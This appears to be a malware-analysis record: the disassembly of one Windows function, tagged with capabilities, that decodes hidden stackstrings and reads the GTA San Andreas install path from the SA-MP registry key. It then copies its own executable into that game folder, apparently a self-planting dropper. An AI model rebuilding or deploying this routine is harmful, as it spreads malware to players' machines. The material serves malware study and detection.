Function at 0x1000ae80
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Get file attributes
Query or enumerate registry value
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x10010008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, 0x104
mov byte [ebp - 0x108], 0x53
mov dword [ebp - 0x118], edi
nop
mov byte [ebp - 0x107], 0x4f
nop
mov byte [ebp - 0x106], 0x46
nop
mov byte [ebp - 0x105], 0x54
nop
mov byte [ebp - 0x104], 0x57
nop
mov byte [ebp - 0x103], 0x41
nop
mov byte [ebp - 0x102], 0x52
nop
mov byte [ebp - 0x101], 0x45
nop
mov byte [ebp - 0x100], 0x5c
nop
mov byte [ebp - 0xff], 0x53
nop
mov byte [ebp - 0xfe], 0x41
nop
mov byte [ebp - 0xfd], 0x4d
nop
mov byte [ebp - 0xfc], 0x50
nop
xor ebx, ebx
mov dword [ebp - 0x114], 0xc8c8e9d9
lea ecx, [ebp - 0x114]
mov byte [ebp - 0xfb], bl
mov dword [ebp - 0x110], 0x1dccf829
mov dword [ebp - 0x10c], 0xff69c8e9
call fcn.10001eed
push 0xc
mov eax, ecx
mov esi, 0x10010d64
push eax
push esi
call dword [sym.imp.VCRUNTIME140.dll_memcpy]
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x1000b0de
lea eax, [ebp - 0x11c]
push eax
push 0x20019
push ebx
lea eax, [ebp - 0x108]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000b0de
mov byte [ebp - 0x108], 0x67
nop
mov byte [ebp - 0x107], 0x74
nop
mov byte [ebp - 0x106], 0x61
nop
mov byte [ebp - 0x105], 0x5f
nop
mov byte [ebp - 0x104], 0x73
nop
mov byte [ebp - 0x103], 0x61
nop
mov byte [ebp - 0x102], 0x5f
nop
mov byte [ebp - 0x101], 0x65
nop
mov byte [ebp - 0x100], 0x78
nop
mov byte [ebp - 0xff], 0x65
nop
lea eax, [ebp - 0x118]
mov byte [ebp - 0xfe], bl
push eax
lea eax, [ebp - 0x108]
push eax
push ebx
push ebx
push eax
push dword [ebp - 0x11c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000b0de
push esi
lea eax, [ebp - 0x108]
push 0x5c
push eax
call dword [sym.imp.VCRUNTIME140.dll_strrchr]
pop ecx
pop ecx
inc eax
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy]
pop ecx
pop ecx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1000b035
test al, 0x10
je 0x1000b0de
push ebx
push 2
pop esi
push esi
push esi
push ebx
push esi
push 0x40000000
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x120], eax
lea eax, [ebp - 0x108]
push edi
push eax
push dword [0x10010934]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x108]
push 0x1000d3c8
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
push esi
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov ebx, eax
push 0
push ebx
call esi
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
push 0
push 0
push ebx
mov edi, eax
call esi
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
push ebx
push edi
mov esi, eax
push 1
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 0x3c
lea eax, [ebp - 0x118]
push 0
push eax
push edi
mov edi, dword [ebp - 0x120]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000b214
leave
ret